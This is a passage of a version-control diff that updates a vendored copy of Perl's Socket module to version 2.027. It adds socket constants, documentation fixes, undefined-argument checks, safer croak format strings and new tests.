-	TCP_INIT_CWND TCP_KEEPALIVE TCP_KEEPCNT TCP_KEEPIDLE TCP_KEEPINTVL
-	TCP_LINGER2 TCP_MAXRT TCP_MAXSEG TCP_MD5SIG TCP_NODELAY TCP_NOOPT
-	TCP_NOPUSH TCP_QUICKACK TCP_SACK_ENABLE TCP_STDURG TCP_SYNCNT
+	TCP_CONGESTION TCP_CONNECTIONTIMEOUT TCP_CORK TCP_DEFER_ACCEPT
+	TCP_FASTOPEN TCP_INFO TCP_INIT_CWND TCP_KEEPALIVE TCP_KEEPCNT
+	TCP_KEEPIDLE TCP_KEEPINTVL TCP_LINGER2 TCP_MAXRT TCP_MAXSEG
+	TCP_MD5SIG TCP_NODELAY TCP_NOOPT TCP_NOPUSH TCP_QUICKACK
+	TCP_SACK_ENABLE TCP_STDURG TCP_SYNCNT TCP_USER_TIMEOUT
 	TCP_WINDOW_CLAMP
 
 	UIO_MAXIOV
     ),
-    {name=>"IPPROTO_IP",   type=>"IV", default=>["IV",   0]},
-    {name=>"IPPROTO_IPV6", type=>"IV", default=>["IV",  41]},
-    {name=>"IPPROTO_RAW",  type=>"IV", default=>["IV", 255]},
-    {name=>"IPPROTO_ICMP", type=>"IV", default=>["IV",   1]},
-    {name=>"IPPROTO_IGMP", type=>"IV", default=>["IV",   2]},
-    {name=>"IPPROTO_TCP",  type=>"IV", default=>["IV",   6]},
-    {name=>"IPPROTO_UDP",  type=>"IV", default=>["IV",  17]},
-    {name=>"IPPROTO_GRE",  type=>"IV", default=>["IV",  47]},
-    {name=>"IPPROTO_ESP",  type=>"IV", default=>["IV",  50]},
-    {name=>"IPPROTO_AH",   type=>"IV", default=>["IV",  51]},
-    {name=>"IPPROTO_SCTP", type=>"IV", default=>["IV", 132]},
+    {name=>"IPPROTO_IP",     type=>"IV", default=>["IV",   0]},
+    {name=>"IPPROTO_IPV6",   type=>"IV", default=>["IV",  41]},
+    {name=>"IPPROTO_RAW",    type=>"IV", default=>["IV", 255]},
+    {name=>"IPPROTO_ICMP",   type=>"IV", default=>["IV",   1]},
+    {name=>"IPPROTO_IGMP",   type=>"IV", default=>["IV",   2]},
+    {name=>"IPPROTO_TCP",    type=>"IV", default=>["IV",   6]},
+    {name=>"IPPROTO_UDP",    type=>"IV", default=>["IV",  17]},
+    {name=>"IPPROTO_GRE",    type=>"IV", default=>["IV",  47]},
+    {name=>"IPPROTO_ESP",    type=>"IV", default=>["IV",  50]},
+    {name=>"IPPROTO_AH",     type=>"IV", default=>["IV",  51]},
+    {name=>"IPPROTO_ICMPV6", type=>"IV", default=>["IV",  58]},
+    {name=>"IPPROTO_SCTP",   type=>"IV", default=>["IV", 132]},
     {name=>"SHUT_RD",   type=>"IV", default=>["IV", "0"]},
     {name=>"SHUT_WR",   type=>"IV", default=>["IV", "1"]},
     {name=>"SHUT_RDWR", type=>"IV", default=>["IV", "2"]},

Modified: vendor/perl/dist/cpan/Socket/Socket.pm
===================================================================
--- vendor/perl/dist/cpan/Socket/Socket.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Socket/Socket.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 { use 5.006001; }
 
-our $VERSION = '2.020_03'; # patched in perl5.git
+our $VERSION = '2.027';
 
 =head1 NAME
 
@@ -108,6 +108,10 @@
 Socket option name constants for IPv4 socket options at the C<IPPROTO_IP>
 level.
 
+=head2 IP_PMTUDISC_WANT, IP_PMTUDISC_DONT, ...
+
+Socket option value contants for C<IP_MTU_DISCOVER> socket option.
+
 =head2 IPTOS_LOWDELAY, IPTOS_THROUGHPUT, IPTOS_RELIABILITY, ...
 
 Socket option value constants for C<IP_TOS> socket option.
@@ -180,6 +184,9 @@
 this structure is normally what you need for the arguments in bind(),
 connect(), and send().
 
+An undefined $port argument is taken as zero; an undefined $ip_address is
+considered a fatal error.
+
 =head2 ($port, $ip_address) = unpack_sockaddr_in $sockaddr
 
 Takes a C<sockaddr_in> structure (as returned by pack_sockaddr_in(),
@@ -209,6 +216,9 @@
 number. Returns the C<sockaddr_in6> structure with those arguments packed in
 and C<AF_INET6> filled in. IPv6 equivalent of pack_sockaddr_in().
 
+An undefined $port argument is taken as zero; an undefined $ip6_address is
+considered a fatal error.
+
 =head2 ($port, $ip6_address, $scope_id, $flowinfo) = unpack_sockaddr_in6 $sockaddr
 
 Takes a C<sockaddr_in6> structure. Returns a list of four elements: the port
@@ -384,7 +394,7 @@
 The return value will be a list; the first value being an error indication,
 followed by a list of address structures (if no error occurred).
 
-The error value will be a dualvar; comparable to the C<EI_*> error constants,
+The error value will be a dualvar; comparable to the C<EAI_*> error constants,
 or printable as a human-readable error message string. If no error occurred it
 will be zero numerically and an empty string.
 
@@ -452,7 +462,7 @@
 The return value will be a list; the first value being an error condition,
 followed by the hostname and service name.
 
-The error value will be a dualvar; comparable to the C<EI_*> error constants,
+The error value will be a dualvar; comparable to the C<EAI_*> error constants,
 or printable as a human-readable error message string. The host and service
 names will be plain strings.
 
@@ -722,11 +732,11 @@
 	SO_SECURITY_ENCRYPTION_TRANSPORT SO_SNDBUF SO_SNDLOWAT SO_SNDTIMEO
 	SO_STATE SO_TYPE SO_USELOOPBACK SO_XOPEN SO_XSE
 
-	IP_OPTIONS IP_HDRINCL IP_TOS IP_TTL IP_RECVOPTS IP_RECVRETOPTS
-	IP_RETOPTS
+	IP_HDRINCL IP_OPTIONS IP_RECVOPTS IP_RECVRETOPTS IP_RETOPTS IP_TOS
+	IP_TTL
 
 	MSG_BCAST MSG_BTAG MSG_CTLFLAGS MSG_CTLIGNORE MSG_CTRUNC MSG_DONTROUTE
-	MSG_DONTWAIT MSG_EOF MSG_EOR MSG_ERRQUEUE MSG_ETAG MSG_FIN
+	MSG_DONTWAIT MSG_EOF MSG_EOR MSG_ERRQUEUE MSG_ETAG MSG_FASTOPEN MSG_FIN
 	MSG_MAXIOVLEN MSG_MCAST MSG_NOSIGNAL MSG_OOB MSG_PEEK MSG_PROXY MSG_RST
 	MSG_SYN MSG_TRUNC MSG_URG MSG_WAITALL MSG_WIRE
 
@@ -756,28 +766,35 @@
 
 	SOCK_NONBLOCK SOCK_CLOEXEC
 
-	IP_ADD_MEMBERSHIP IP_ADD_SOURCE_MEMBERSHIP IP_DROP_MEMBERSHIP
-	IP_DROP_SOURCE_MEMBERSHIP IP_MULTICAST_IF IP_MULTICAST_LOOP
-	IP_MULTICAST_TTL
+	IP_ADD_MEMBERSHIP IP_ADD_SOURCE_MEMBERSHIP IP_BIND_ADDRESS_NO_PORT
+	IP_DROP_MEMBERSHIP IP_DROP_SOURCE_MEMBERSHIP IP_FREEBIND
+	IP_MULTICAST_ALL IP_MULTICAST_IF IP_MULTICAST_LOOP IP_MULTICAST_TTL
+	IP_MTU IP_MTU_DISCOVER IP_NODEFRAG IP_RECVERR IP_TRANSPARENT
 
 	IPPROTO_IP IPPROTO_IPV6 IPPROTO_RAW IPPROTO_ICMP IPPROTO_IGMP
 	IPPROTO_TCP IPPROTO_UDP IPPROTO_GRE IPPROTO_ESP IPPROTO_AH
-	IPPROTO_SCTP
+	IPPROTO_ICMPV6 IPPROTO_SCTP
 
+	IP_PMTUDISC_DO IP_PMTUDISC_DONT IP_PMTUDISC_PROBE IP_PMTUDISC_WANT
+
 	IPTOS_LOWDELAY IPTOS_THROUGHPUT IPTOS_RELIABILITY IPTOS_MINCOST
 
-	TCP_CONGESTION TCP_CONNECTIONTIMEOUT TCP_CORK TCP_DEFER_ACCEPT TCP_INFO
-	TCP_INIT_CWND TCP_KEEPALIVE TCP_KEEPCNT TCP_KEEPIDLE TCP_KEEPINTVL
-	TCP_LINGER2 TCP_MAXRT TCP_MAXSEG TCP_MD5SIG TCP_NODELAY TCP_NOOPT
-	TCP_NOPUSH TCP_QUICKACK TCP_SACK_ENABLE TCP_STDURG TCP_SYNCNT
+	TCP_CONGESTION TCP_CONNECTIONTIMEOUT TCP_CORK TCP_DEFER_ACCEPT
+	TCP_FASTOPEN TCP_INFO TCP_INIT_CWND TCP_KEEPALIVE TCP_KEEPCNT
+	TCP_KEEPIDLE TCP_KEEPINTVL TCP_LINGER2 TCP_MAXRT TCP_MAXSEG
+	TCP_MD5SIG TCP_NODELAY TCP_NOOPT TCP_NOPUSH TCP_QUICKACK
+	TCP_SACK_ENABLE TCP_STDURG TCP_SYNCNT TCP_USER_TIMEOUT
 	TCP_WINDOW_CLAMP
 
 	IN6ADDR_ANY IN6ADDR_LOOPBACK
 
-	IPV6_ADD_MEMBERSHIP IPV6_DROP_MEMBERSHIP IPV6_JOIN_GROUP
+	IPV6_ADDRFROM IPV6_ADD_MEMBERSHIP IPV6_DROP_MEMBERSHIP IPV6_JOIN_GROUP
 	IPV6_LEAVE_GROUP IPV6_MTU IPV6_MTU_DISCOVER IPV6_MULTICAST_HOPS
-	IPV6_MULTICAST_IF IPV6_MULTICAST_LOOP IPV6_UNICAST_HOPS IPV6_V6ONLY
+	IPV6_MULTICAST_IF IPV6_MULTICAST_LOOP IPV6_RECVERR IPV6_ROUTER_ALERT
+	IPV6_UNICAST_HOPS IPV6_V6ONLY
 
+	SO_LOCK_FILTER SO_RCVBUFFORCE SO_SNDBUFFORCE
+
 	pack_ip_mreq unpack_ip_mreq pack_ip_mreq_source unpack_ip_mreq_source
 
 	pack_ipv6_mreq unpack_ipv6_mreq

Modified: vendor/perl/dist/cpan/Socket/Socket.xs
===================================================================
--- vendor/perl/dist/cpan/Socket/Socket.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Socket/Socket.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -187,7 +187,7 @@
 #endif /* !SvPVx_nolen */
 
 #ifndef croak_sv
-# define croak_sv(sv)	croak(SvPVx_nolen(sv))
+# define croak_sv(sv)	croak("%s", SvPVx_nolen(sv))
 #endif
 
 #ifndef hv_stores
@@ -473,6 +473,65 @@
 
 #include "const-c.inc"
 
+#if defined(HAS_GETADDRINFO) && !defined(HAS_GAI_STRERROR)
+static const char *gai_strerror(int err)
+{
+  switch (err)
+  {
+#ifdef EAI_ADDRFAMILY
+  case EAI_ADDRFAMILY:
+    return "Address family for hostname is not supported.";
+#endif
+#ifdef EAI_AGAIN
+  case EAI_AGAIN:
+    return "The name could not be resolved at this time.";
+#endif
+#ifdef EAI_BADFLAGS
+  case EAI_BADFLAGS:
+    return "The flags parameter has an invalid value.";
+#endif
+#ifdef EAI_FAIL
+  case EAI_FAIL:
+    return "A non-recoverable error occurred while resolving the name.";
+#endif
+#ifdef EAI_FAMILY
+  case EAI_FAMILY:
+    return "The address family was not recognized or length is invalid.";
+#endif
+#ifdef EAI_MEMORY
+  case EAI_MEMORY:
+    return "A memory allocation failure occurred.";
+#endif
+#ifdef EAI_NODATA
+  case EAI_NODATA:
+    return "No address is associated with the hostname.";
+#endif
+#ifdef EAI_NONAME
+  case EAI_NONAME:
+    return "The name does not resolve for the supplied parameters.";
+#endif
+#ifdef EAI_OVERFLOW
+  case EAI_OVERFLOW:
+    return "An argument buffer overflowed.";
+#endif
+#ifdef EAI_SERVICE
+  case EAI_SERVICE:
+    return "The service parameter was not recognized for the specified socket type.";
+#endif
+#ifdef EAI_SOCKTYPE
+  case EAI_SOCKTYPE:
+    return "The specified socket type was not recognized.";
+#endif
+#ifdef EAI_SYSTEM
+  case EAI_SYSTEM:
+    return "A system error occurred - see errno.";
+#endif
+  default:
+    return "Unknown error in getaddrinfo().";
+  }
+}
+#endif
+
 #ifdef HAS_GETADDRINFO
 static SV *err_to_SV(pTHX_ int err)
 {
@@ -693,13 +752,13 @@
 		ST(0) = sv_2mortal(newSVpvn((char *)&ip_address, sizeof(ip_address)));
 		XSRETURN(1);
 	}
-
+#ifdef HAS_GETHOSTBYNAME
 	phe = gethostbyname(host);
 	if (phe && phe->h_addrtype == AF_INET && phe->h_length == 4) {
 		ST(0) = sv_2mortal(newSVpvn((char *)phe->h_addr, phe->h_length));
 		XSRETURN(1);
 	}
-
+#endif
 	XSRETURN_UNDEF;
 	}
 
@@ -721,7 +780,8 @@
 		    (ip_address[2] & 0xFF) <<  8 |
 		    (ip_address[3] & 0xFF);
 	else
-		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length for %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::inet_ntoa", (UV)addrlen, (UV)sizeof(addr));
 	/* We could use inet_ntoa() but that is broken
 	 * in HP-UX + GCC + 64bitint (returns "0.0.0.0"),
@@ -742,7 +802,8 @@
 	char *sockaddr_pv = SvPVbyte(sockaddr, sockaddr_len);
 	CODE:
 	if (sockaddr_len < STRUCT_OFFSET(struct sockaddr, sa_data))
-		croak("Bad arg length for %s, length is %"UVuf", should be at least %"UVuf,
+		croak("Bad arg length for %s, length is %" UVuf
+                      ", should be at least %" UVuf,
 		      "Socket::sockaddr_family", (UV)sockaddr_len,
 		      (UV)STRUCT_OFFSET(struct sockaddr, sa_data));
 	ST(0) = sv_2mortal(newSViv(((struct sockaddr*)sockaddr_pv)->sa_family));
@@ -758,11 +819,18 @@
 	char * pathname_pv;
 	int addr_len;
 
+	if (!SvOK(pathname))
+	    croak("Undefined path for %s", "Socket::pack_sockaddr_un");
+
 	Zero(&sun_ad, sizeof(sun_ad), char);
 	sun_ad.sun_family = AF_UNIX;
 	pathname_pv = SvPV(pathname,len);
-	if (len > sizeof(sun_ad.sun_path))
+	if (len > sizeof(sun_ad.sun_path)) {
+	    warn("Path length (%" UVuf ") is longer than maximum supported length"
+	         " (%" UVuf ") and will be truncated",
+	         (UV)len, (UV)sizeof(sun_ad.sun_path));
 	    len = sizeof(sun_ad.sun_path);
+	}
 #  ifdef OS2	/* Name should start with \socket\ and contain backslashes! */
 	{
 		int off;
@@ -818,8 +886,11 @@
 #ifdef I_SYS_UN
 	struct sockaddr_un addr;
 	STRLEN sockaddrlen;
-	char * sun_ad = SvPVbyte(sun_sv,sockaddrlen);
-	int addr_len;
+	char * sun_ad;
+	int addr_len = 0;
+	if (!SvOK(sun_sv))
+	    croak("Undefined address for %s", "Socket::unpack_sockaddr_un");
+	sun_ad = SvPVbyte(sun_sv,sockaddrlen);
 #   if defined(__linux__) || defined(HAS_SOCKADDR_SA_LEN)
 	/* On Linux or *BSD sockaddrlen on sockets returned by accept, recvfrom,
 	   getpeername and getsockname is not equal to sizeof(addr). */
@@ -832,12 +903,14 @@
 #     ifdef HAS_SOCKADDR_SA_LEN
 	/* In this case, sun_len must be checked */
 	if (sockaddrlen != addr.sun_len)
-		croak("Invalid arg sun_len field for %s, length is %"UVuf", but sun_len is %"UVuf,
+		croak("Invalid arg sun_len field for %s, length is %" UVuf
+                      ", but sun_len is %" UVuf,
 		      "Socket::unpack_sockaddr_un", (UV)sockaddrlen, (UV)addr.sun_len);
 #     endif
 #   else
 	if (sockaddrlen != sizeof(addr))
-		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length for %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::unpack_sockaddr_un", (UV)sockaddrlen, (UV)sizeof(addr));
 	Copy(sun_ad, &addr, sizeof(addr), char);
 #   endif
@@ -861,8 +934,8 @@
 #   else
 		const int maxlen = (int)sizeof(addr.sun_path);
 #   endif
-		for (addr_len = 0; addr_len < maxlen
-		     && addr.sun_path[addr_len]; addr_len++);
+		while (addr_len < maxlen && addr.sun_path[addr_len])
+		     addr_len++;
 	}
 
 	ST(0) = sv_2mortal(newSVpvn(addr.sun_path, addr_len));
@@ -872,8 +945,8 @@
 	}
 
 void
-pack_sockaddr_in(port, ip_address_sv)
-	unsigned short	port
+pack_sockaddr_in(port_sv, ip_address_sv)
+	SV *	port_sv
 	SV *	ip_address_sv
 	CODE:
 	{
@@ -880,7 +953,12 @@
 	struct sockaddr_in sin;
 	struct in_addr addr;
 	STRLEN addrlen;
+	unsigned short port = 0;
 	char * ip_address;
+	if (SvOK(port_sv))
+		port = SvUV(port_sv);
+	if (!SvOK(ip_address_sv))
+		croak("Undefined address for %s", "Socket::pack_sockaddr_in");
 	if (DO_UTF8(ip_address_sv) && !sv_utf8_downgrade(ip_address_sv, 1))
 		croak("Wide character in %s", "Socket::pack_sockaddr_in");
 	ip_address = SvPVbyte(ip_address_sv, addrlen);
@@ -891,7 +969,8 @@
 		    (unsigned int)(ip_address[2] & 0xFF) <<  8 |
 		    (unsigned int)(ip_address[3] & 0xFF);
 	else
-		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length for %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::pack_sockaddr_in",
 		      (UV)addrlen, (UV)sizeof(addr));
 	Zero(&sin, sizeof(sin), char);
@@ -912,9 +991,13 @@
 	STRLEN sockaddrlen;
 	struct sockaddr_in addr;
 	SV *ip_address_sv;
-	char *	sin = SvPVbyte(sin_sv,sockaddrlen);
+	char * sin;
+	if (!SvOK(sin_sv))
+	    croak("Undefined address for %s", "Socket::unpack_sockaddr_in");
+	sin = SvPVbyte(sin_sv,sockaddrlen);
 	if (sockaddrlen != sizeof(addr)) {
-	    croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
+	    croak("Bad arg length for %s, length is %" UVuf
+                  ", should be %" UVuf,
 		  "Socket::unpack_sockaddr_in", (UV)sockaddrlen, (UV)sizeof(addr));
 	}
 	Copy(sin, &addr, sizeof(addr), char);
@@ -935,8 +1018,8 @@
 	}
 
 void
-pack_sockaddr_in6(port, sin6_addr, scope_id=0, flowinfo=0)
-	unsigned short	port
+pack_sockaddr_in6(port_sv, sin6_addr, scope_id=0, flowinfo=0)
+	SV *	port_sv
 	SV *	sin6_addr
 	unsigned long	scope_id
 	unsigned long	flowinfo
@@ -943,14 +1026,20 @@
 	CODE:
 	{
 #ifdef HAS_SOCKADDR_IN6
+	unsigned short port = 0;
 	struct sockaddr_in6 sin6;
 	char * addrbytes;
 	STRLEN addrlen;
+	if (SvOK(port_sv))
+		port = SvUV(port_sv);
+	if (!SvOK(sin6_addr))
+		croak("Undefined address for %s", "Socket::pack_sockaddr_in6");
 	if (DO_UTF8(sin6_addr) && !sv_utf8_downgrade(sin6_addr, 1))
 		croak("Wide character in %s", "Socket::pack_sockaddr_in6");
 	addrbytes = SvPVbyte(sin6_addr, addrlen);
 	if (addrlen != sizeof(sin6.sin6_addr))
-		croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::pack_sockaddr_in6", (UV)addrlen, (UV)sizeof(sin6.sin6_addr));
 	Zero(&sin6, sizeof(sin6), char);
 	sin6.sin6_family = AF_INET6;
@@ -969,7 +1058,7 @@
 #  endif
 	ST(0) = sv_2mortal(newSVpvn((char *)&sin6, sizeof(sin6)));
 #else
-	PERL_UNUSED_VAR(port);
+	PERL_UNUSED_VAR(port_sv);
 	PERL_UNUSED_VAR(sin6_addr);
 	ST(0) = (SV*)not_here("pack_sockaddr_in6");
 #endif
@@ -983,10 +1072,14 @@
 #ifdef HAS_SOCKADDR_IN6
 	STRLEN addrlen;
 	struct sockaddr_in6 sin6;
-	char * addrbytes = SvPVbyte(sin6_sv, addrlen);
+	char * addrbytes;
 	SV *ip_address_sv;
+	if (!SvOK(sin6_sv))
+		croak("Undefined address for %s", "Socket::unpack_sockaddr_in6");
+	addrbytes = SvPVbyte(sin6_sv, addrlen);
 	if (addrlen != sizeof(sin6))
-		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length for %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::unpack_sockaddr_in6", (UV)addrlen, (UV)sizeof(sin6));
 	Copy(addrbytes, &sin6, sizeof(sin6), char);
 	if (sin6.sin6_family != AF_INET6)
@@ -1039,13 +1132,13 @@
 	  case AF_INET:
 	    if(addrlen != 4)
 		croak("Bad address length for Socket::inet_ntop on AF_INET;"
-		      " got %"UVuf", should be 4", (UV)addrlen);
+		      " got %" UVuf ", should be 4", (UV)addrlen);
 	    break;
 #ifdef AF_INET6
 	  case AF_INET6:
 	    if(addrlen != 16)
 		croak("Bad address length for Socket::inet_ntop on AF_INET6;"
-		      " got %"UVuf", should be 16", (UV)addrlen);
+		      " got %" UVuf ", should be 16", (UV)addrlen);
 	    break;
 #endif
 	  default:
@@ -1133,7 +1226,8 @@
 		croak("Wide character in %s", "Socket::pack_ip_mreq");
 	multiaddrbytes = SvPVbyte(multiaddr, len);
 	if (len != sizeof(mreq.imr_multiaddr))
-		croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::pack_ip_mreq", (UV)len, (UV)sizeof(mreq.imr_multiaddr));
 	Zero(&mreq, sizeof(mreq), char);
 	Copy(multiaddrbytes, &mreq.imr_multiaddr, sizeof(mreq.imr_multiaddr), char);
@@ -1142,7 +1236,8 @@
 			croak("Wide character in %s", "Socket::pack_ip_mreq");
 		interfacebytes = SvPVbyte(interface, len);
 		if (len != sizeof(mreq.imr_interface))
-			croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
+			croak("Bad arg length %s, length is %" UVuf
+                              ", should be %" UVuf,
 			      "Socket::pack_ip_mreq", (UV)len, (UV)sizeof(mreq.imr_interface));
 		Copy(interfacebytes, &mreq.imr_interface, sizeof(mreq.imr_interface), char);
 	}
@@ -1164,7 +1259,8 @@
 	STRLEN mreqlen;
 	char * mreqbytes = SvPVbyte(mreq_sv, mreqlen);
 	if (mreqlen != sizeof(mreq))
-		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length for %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::unpack_ip_mreq", (UV)mreqlen, (UV)sizeof(mreq));
 	Copy(mreqbytes, &mreq, sizeof(mreq), char);
 	EXTEND(SP, 2);
@@ -1192,12 +1288,14 @@
 		croak("Wide character in %s", "Socket::pack_ip_mreq_source");
 	multiaddrbytes = SvPVbyte(multiaddr, len);
 	if (len != sizeof(mreq.imr_multiaddr))
-		croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::pack_ip_mreq", (UV)len, (UV)sizeof(mreq.imr_multiaddr));
 	if (DO_UTF8(source) && !sv_utf8_downgrade(source, 1))
 		croak("Wide character in %s", "Socket::pack_ip_mreq_source");
 	if (len != sizeof(mreq.imr_sourceaddr))
-		croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::pack_ip_mreq", (UV)len, (UV)sizeof(mreq.imr_sourceaddr));
 	sourcebytes = SvPVbyte(source, len);
 	Zero(&mreq, sizeof(mreq), char);
@@ -1208,7 +1306,8 @@
 			croak("Wide character in %s", "Socket::pack_ip_mreq");
 		interfacebytes = SvPVbyte(interface, len);
 		if (len != sizeof(mreq.imr_interface))
-			croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
+			croak("Bad arg length %s, length is %" UVuf
+                              ", should be %" UVuf,
 			      "Socket::pack_ip_mreq", (UV)len, (UV)sizeof(mreq.imr_interface));
 		Copy(interfacebytes, &mreq.imr_interface, sizeof(mreq.imr_interface), char);
 	}
@@ -1232,7 +1331,8 @@
 	STRLEN mreqlen;
 	char * mreqbytes = SvPVbyte(mreq_sv, mreqlen);
 	if (mreqlen != sizeof(mreq))
-		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length for %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::unpack_ip_mreq_source", (UV)mreqlen, (UV)sizeof(mreq));
 	Copy(mreqbytes, &mreq, sizeof(mreq), char);
 	EXTEND(SP, 3);
@@ -1259,7 +1359,8 @@
 		croak("Wide character in %s", "Socket::pack_ipv6_mreq");
 	multiaddrbytes = SvPVbyte(multiaddr, len);
 	if (len != sizeof(mreq.ipv6mr_multiaddr))
-		croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::pack_ipv6_mreq", (UV)len, (UV)sizeof(mreq.ipv6mr_multiaddr));
 	Zero(&mreq, sizeof(mreq), char);
 	Copy(multiaddrbytes, &mreq.ipv6mr_multiaddr, sizeof(mreq.ipv6mr_multiaddr), char);
@@ -1282,7 +1383,8 @@
 	STRLEN mreqlen;
 	char * mreqbytes = SvPVbyte(mreq_sv, mreqlen);
 	if (mreqlen != sizeof(mreq))
-		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
+		croak("Bad arg length for %s, length is %" UVuf
+                      ", should be %" UVuf,
 		      "Socket::unpack_ipv6_mreq", (UV)mreqlen, (UV)sizeof(mreq));
 	Copy(mreqbytes, &mreq, sizeof(mreq), char);
 	EXTEND(SP, 2);

Modified: vendor/perl/dist/cpan/Socket/t/getaddrinfo.t
===================================================================
--- vendor/perl/dist/cpan/Socket/t/getaddrinfo.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Socket/t/getaddrinfo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,8 +22,8 @@
     '$res[0] addr is defined' );
 if (length $res[0]->{addr}) {
     is_deeply( [ unpack_sockaddr_in $res[0]->{addr} ],
-	       [ 80, inet_aton( "127.0.0.1" ) ],
-	       '$res[0] addr is {"127.0.0.1", 80}' );
+               [ 80, inet_aton( "127.0.0.1" ) ],
+               '$res[0] addr is {"127.0.0.1", 80}' );
 } else {
     fail( '$res[0] addr is empty: check $socksizetype' );
 }
@@ -50,8 +50,8 @@
     cmp_ok( $err, "==", 0, '$err == 0 for host=$1' );
     ok( scalar @res > 0, '@res has results' );
     is( (unpack_sockaddr_in $res[0]->{addr})[1],
-	inet_aton( "127.0.0.1" ),
-	'$res[0] addr is {"127.0.0.1", ??}' );
+        inet_aton( "127.0.0.1" ),
+        '$res[0] addr is {"127.0.0.1", ??}' );
 }
 
 ( $err, @res ) = getaddrinfo( "", "80", { family => AF_INET, socktype => SOCK_STREAM, protocol => IPPROTO_TCP } );
@@ -90,13 +90,13 @@
     # Some OSes return $err == 0 but no results
     ( $err, @res ) = getaddrinfo( $missinghost, "ftp", { socktype => SOCK_STREAM } );
     ok( $err != 0 || ( $err == 0 && @res == 0 ),
-	'$err != 0 or @res == 0 for host=TbK4jM2M0OS.lm57DWIyu4i/service=ftp/socktype=SOCK_STREAM' );
+        '$err != 0 or @res == 0 for host=TbK4jM2M0OS.lm57DWIyu4i/service=ftp/socktype=SOCK_STREAM' );
     if( @res ) {
-	# Diagnostic that might help
-	while( my $r = shift @res ) {
-	    diag( "family=$r->{family} socktype=$r->{socktype} protocol=$r->{protocol} addr=[" . length( $r->{addr} ) . " bytes]" );
-	    diag( "  addr=" . join( ", ", map { sprintf '0x%02x', ord $_ } split m//, $r->{addr} ) );
-	}
+        # Diagnostic that might help
+        while( my $r = shift @res ) {
+            diag( "family=$r->{family} socktype=$r->{socktype} protocol=$r->{protocol} addr=[" . length( $r->{addr} ) . " bytes]" );
+            diag( "  addr=" . join( ", ", map { sprintf '0x%02x', ord $_ } split m//, $r->{addr} ) );
+        }
     }
 }
 
@@ -112,11 +112,11 @@
     # for enabled services but that's kind of yuck, too.
     my @port = (80, 7, 22, 25, 88, 123, 110, 389, 443, 445, 873, 2049, 3306);
     foreach my $port ( @port ) {
-	( $err, @res ) = getaddrinfo( "127.0.0.1", $port, { flags => AI_NUMERICHOST, socktype => SOCK_STREAM } );
-	if( $err == 0 ) {
-	    ok( $err == 0, "\$err == 0 for 127.0.0.1/$port/flags=AI_NUMERICHOST" );
-	    last AI_NUMERICHOST;
-	}
+        ( $err, @res ) = getaddrinfo( "127.0.0.1", $port, { flags => AI_NUMERICHOST, socktype => SOCK_STREAM } );
+        if( $err == 0 ) {
+            ok( $err == 0, "\$err == 0 for 127.0.0.1/$port/flags=AI_NUMERICHOST" );
+            last AI_NUMERICHOST;
+        }
     }
     fail( "$err for 127.0.0.1/$port[-1]/flags=AI_NUMERICHOST (failed for ports @port)" );
 }

Modified: vendor/perl/dist/cpan/Socket/t/sockaddr.t
===================================================================
--- vendor/perl/dist/cpan/Socket/t/sockaddr.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Socket/t/sockaddr.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,10 +7,11 @@
     AF_INET
     inet_ntoa inet_aton inet_ntop inet_pton
     pack_sockaddr_in unpack_sockaddr_in sockaddr_in
+    pack_sockaddr_un unpack_sockaddr_un
     sockaddr_family
     sockaddr_un
 );
-use Test::More tests => 33;
+use Test::More tests => 46;
 
 # inet_aton, inet_ntoa
 {
@@ -80,13 +81,25 @@
 
     is(sockaddr_family(scalar sockaddr_in(200,v10.30.50.70)), AF_INET,
         'sockaddr_in in scalar context packs');
+
+    my $warnings = 0;
+    local $SIG{__WARN__} = sub { $warnings++ };
+    ok( !eval { pack_sockaddr_in 0, undef; 1 },
+        'pack_sockaddr_in undef addr is fatal' );
+    ok( !eval { unpack_sockaddr_in undef; 1 },
+        'unpack_sockaddr_in undef is fatal' );
+
+    ok( eval { pack_sockaddr_in undef, "\0\0\0\0"; 1 },
+        'pack_sockaddr_in undef port is allowed' );
+
+    is( $warnings, 0, 'undefined values produced no warnings' );
 }
 
 # pack_sockaddr_in6, unpack_sockaddr_in6
 # sockaddr_in6
 SKIP: {
-    skip "No AF_INET6", 9 unless my $AF_INET6 = eval { Socket::AF_INET6() };
